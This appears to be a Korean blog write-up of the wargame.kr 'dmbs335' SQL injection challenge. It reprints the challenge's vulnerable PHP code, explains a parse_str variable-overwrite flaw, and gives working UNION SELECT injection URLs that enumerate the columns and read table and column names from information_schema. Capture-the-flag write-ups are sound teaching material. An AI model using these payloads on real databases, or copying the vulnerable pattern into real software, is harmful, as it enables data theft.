dmbs335 view-source code
SQL injection Challenge!
(injection) (코드 수정 버전)
<?php
function getOperator(&$operator) {
switch($operator) {
case 'and':
case '&&':
$operator = 'and';
break;
case 'or':
case '||':
$operator = 'or';
break;
default:
$operator = 'or';
break;
}}
if(preg_match('/session/isUD',$_SERVER['QUERY_STRING'])) {
exit('not allowed');
}
parse_str($_SERVER['QUERY_STRING']);
getOperator($operator);
$keyword = addslashes($keyword);
$where_clause = '';
if(!isset($search_cols)) {
$search_cols = 'subject|content';
}
$cols = explode('|',$search_cols);
foreach($cols as $col) {
$col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : '';
if($col) {
$query_parts = $col . " like '%" . $keyword . "%'";
}
if($query_parts) {
$where_clause .= $query_parts;
$where_clause .= ' ';
$where_clause .= $operator;
$where_clause .= ' ';
$query_parts = '';
}
}
if(!$where_clause) {
$where_clause = "content like '%{$keyword}%'";
}
if(preg_match('/\s'.$operator.'\s$/isDU',$where_clause)) {
$len = strlen($where_clause) - (strlen($operator) + 2);
$where_clause = substr($where_clause, 0, $len);
}
$result = mysql_query("select * from board where {$where_clause} order by idx desc");
?>
적당히 코드를 수정했다. 문제를 풀기 위해서는 이 부분만 잘 이해하면 된다.
parse_str($_SERVER['QUERY_STRING']);
foreach($cols as $col) {
$col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : '';
if($col) {
$query_parts = $col . " like '%" . $keyword . "%'";
}
if($query_parts) {
$where_clause .= $query_parts;
$where_clause .= ' ';
$where_clause .= $operator;
$where_clause .= ' ';
$query_parts = '';
}
}
$result = mysql_query("select * from board where {$where_clause} order by idx desc");
서버에서 쿼리를 받으면 parse_str 함수로 인해 쿼리 값이 변수로 변한다.
ex) ?apple=1&banana=2 -> 실제 php 변수: apple = 1, banana = 2
그리고, preg_match 함수안에 있는, 문자열이 존재하면 $col은 그대로 유지되고, 없다면 공백으로 바뀐다.
이제 if문에서 $col 값이 존재하면, $query_parts 값을 바꾼다.
다음 if문에서 $query_parts 값이 존재하면, $where_clause 값을 바꾼다. ($query_parts 값이 들어감)
마지막으로, $where_clause 값을 갖고, SQL 쿼리 문을 보내게 된다.
결론적으로, $query_parts 값만 원하는 것으로 바꾼다면, $where_clause 값을 수정할 수 있게 된다.
parse_str 함수로 인해, 우리가 보낸 쿼리 값을 변수로 바꿔준다.
http://wargame.kr:8080/dmbs335/?search_cols=test&query_parts=1 or 1 union select 1,2,3,4
http://wargame.kr:8080/dmbs335/?search_cols=test&query_parts=1 or 1 union select 1,2,3,4
해당 쿼리문으로, 컬럼 값이 4개라는 것을 확인할 수 있었다.
그렇다면? 테이블 이름과 컬럼 이름을 뽑아내자.
테이블은 이름은 다음 쿼리문을 사용하자.
http://wargame.kr:8080/dmbs335/?search_cols=test&query_parts=1 or 1 union select 1,table_name,3,4 from information_schema.tables
컬럼 이름은 다음 쿼리문을 사용하자.
http://wargame.kr:8080/dmbs335/?search_cols=test&query_parts=1 or 1 union select 1,column_name,3,4 from information_schema.columns
이제 발견한 테이블 이름과 컬럼 이름으로 flag 값을 뽑아주면 된다. 뒤는 당신에게 맡기겠습니다...
'Wargame > wargame.kr' 카테고리의 다른 글
[Wargame.kr] dun worry about the vase 풀이 (444p) (0) | 2020.08.02 |
---|---|
[Wargame.kr] QnA 풀이 (414p) (0) | 2020.07.31 |
[Wargame.kr] lonely guys 풀이 (385p) (0) | 2020.07.31 |
[Wargame.kr] Crypto Crackme Basic 풀이 (398p) (0) | 2020.07.30 |
[Wargame.kr] EASY_CrackMe 풀이 (315p) (0) | 2020.07.30 |